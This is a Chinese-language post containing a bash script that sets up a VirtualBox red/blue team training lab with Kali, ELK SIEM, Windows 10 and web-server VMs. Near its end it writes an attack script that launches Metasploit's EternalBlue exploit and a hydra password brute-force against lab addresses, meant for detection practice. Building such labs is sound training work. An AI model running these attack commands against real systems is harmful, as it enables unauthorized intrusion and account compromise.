
该环境将模拟具有攻防组件的真实企业网络。
# 文件名: hybrid_red_blue_team_lab.sh
# 混合红蓝队训练实验室配置脚本
# 作者: Gerard King
# 日期: 2024-08-18
# 创建三个网络分区:外部、内部和DMZ
VBoxManage natnetwork add --netname "RedTeamExternal" --network "192.168.100.0/24" --dhcp on
VBoxManage natnetwork add --netname "RedTeamInternal" --network "192.168.200.0/24" --dhcp on
VBoxManage natnetwork add --netname "RedTeamDMZ" --network "192.168.150.0/24" --dhcp on
# 红队虚拟机:攻击机(Kali Linux)
VBoxManage createvm --name "Kali_Attacker" --ostype "Debian_64" --register
VBoxManage modifyvm "Kali_Attacker" --memory 8192 --vram 256 --cpus 4 --nic1 natnetwork --nat-network1 "RedTeamExternal"
VBoxManage createhd --filename ~/VirtualBox\ VMs/Kali_Attacker/Kali_Attacker.vdi --size 80000 --variant Fixed
VBoxManage storagectl "Kali_Attacker" --name "SATA Controller" --add sata --controller IntelAhci
VBoxManage storageattach "Kali_Attacker" --storagectl "SATA Controller" --port 0 --device 0 --type hdd --medium ~/VirtualBox\ VMs/Kali_Attacker/Kali_Attacker.vdi
VBoxManage storageattach "Kali_Attacker" --storagectl "SATA Controller" --port 1 --device 0 --type dvddrive --medium ~/Downloads/kali-linux-2023.2-amd64.iso
VBoxManage modifyvm "Kali_Attacker" --boot1 dvd --boot2 disk --boot3 none --boot4 none
# 蓝队虚拟机:SIEM服务器(ELK技术栈)
VBoxManage createvm --name "ELK_SIEM" --ostype "Ubuntu_64" --register
VBoxManage modifyvm "ELK_SIEM" --memory 12288 --vram 256 --cpus 4 --nic1 natnetwork --nat-network1 "RedTeamInternal"
VBoxManage createhd --filename ~/VirtualBox\ VMs/ELK_SIEM/ELK_SIEM.vdi --size 100000 --variant Fixed
VBoxManage storagectl "ELK_SIEM" --name "SATA Controller" --add sata --controller IntelAhci
VBoxManage storageattach "ELK_SIEM" --storagectl "SATA Controller" --port 0 --device 0 --type hdd --medium ~/VirtualBox\ VMs/ELK_SIEM/ELK_SIEM.vdi
VBoxManage storageattach "ELK_SIEM" --storagectl "SATA Controller" --port 1 --device 0 --type dvddrive --medium ~/Downloads/ubuntu-22.04-desktop-amd64.iso
VBoxManage modifyvm "ELK_SIEM" --boot1 dvd --boot2 disk --boot3 none --boot4 none
# 内部网络 - Windows 10工作站(用户终端)
VBoxManage createvm --name "Win10_User" --ostype "Windows10_64" --register
VBoxManage modifyvm "Win10_User" --memory 8192 --vram 256 --cpus 4 --nic1 natnetwork --nat-network1 "RedTeamInternal"
VBoxManage createhd --filename ~/VirtualBox\ VMs/Win10_User/Win10_User.vdi --size 60000 --variant Fixed
VBoxManage storagectl "Win10_User" --name "SATA Controller" --add sata --controller IntelAhci
VBoxManage storageattach "Win10_User" --storagectl "SATA Controller" --port 0 --device 0 --type hdd --medium ~/VirtualBox\ VMs/Win10_User/Win10_User.vdi
VBoxManage storageattach "Win10_User" --storagectl "SATA Controller" --port 1 --device 0 --type dvddrive --medium ~/Downloads/Windows_10.iso
VBoxManage modifyvm "Win10_User" --boot1 dvd --boot2 disk --boot3 none --boot4 none
# DMZ网络 - Ubuntu Web服务器
VBoxManage createvm --name "Ubuntu_Web_Server" --ostype "Ubuntu_64" --register
VBoxManage modifyvm "Ubuntu_Web_Server" --memory 4096 --vram 128 --cpus 2 --nic1 natnetwork --nat-network1 "RedTeamDMZ"
VBoxManage createhd --filename ~/VirtualBox\ VMs/Ubuntu_Web_Server/Ubuntu_Web_Server.vdi --size 40000 --variant Fixed
VBoxManage storagectl "Ubuntu_Web_Server" --name "SATA Controller" --add sata --controller IntelAhci
VBoxManage storageattach "Ubuntu_Web_Server" --storagectl "SATA Controller" --port 0 --device 0 --type hdd --medium ~/VirtualBox\ VMs/Ubuntu_Web_Server/Ubuntu_Web_Server.vdi
VBoxManage storageattach "Ubuntu_Web_Server" --storagectl "SATA Controller" --port 1 --device 0 --type dvddrive --medium ~/Downloads/ubuntu-22.04-desktop-amd64.iso
VBoxManage modifyvm "Ubuntu_Web_Server" --boot1 dvd --boot2 disk --boot3 none --boot4 none
# 自动化攻击场景示例
echo '#!/bin/bash
# 模拟蓝队检测练习的自动化攻击脚本
# 模拟永恒之蓝漏洞攻击
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.200.20; exploit;" > /var/log/attack_logs.txt
# 模拟Web服务器暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.150.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" -o /var/log/attack_logs.txt' > ~/VirtualBox\ VMs/Kali_Attacker/automated_attacks.sh
chmod +x ~/VirtualBox\ VMs/Kali_Attacker/automated_attacks.sh
# 配置虚拟机自启动
VBoxManage modifyvm "Kali_Attacker" --autostart-enabled on
VBoxManage modifyvm "ELK_SIEM" --autostart-enabled on
VBoxManage modifyvm "Win10_User" --autostart-enabled on
VBoxManage modifyvm "Ubuntu_Web_Server" --autostart-enabled on该实验室方案由Gerard King设计,是新一代网络安全训练平台,通过在受控环境中实现真实的攻防对抗,有效弥合攻击与防御之间的技术鸿沟。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。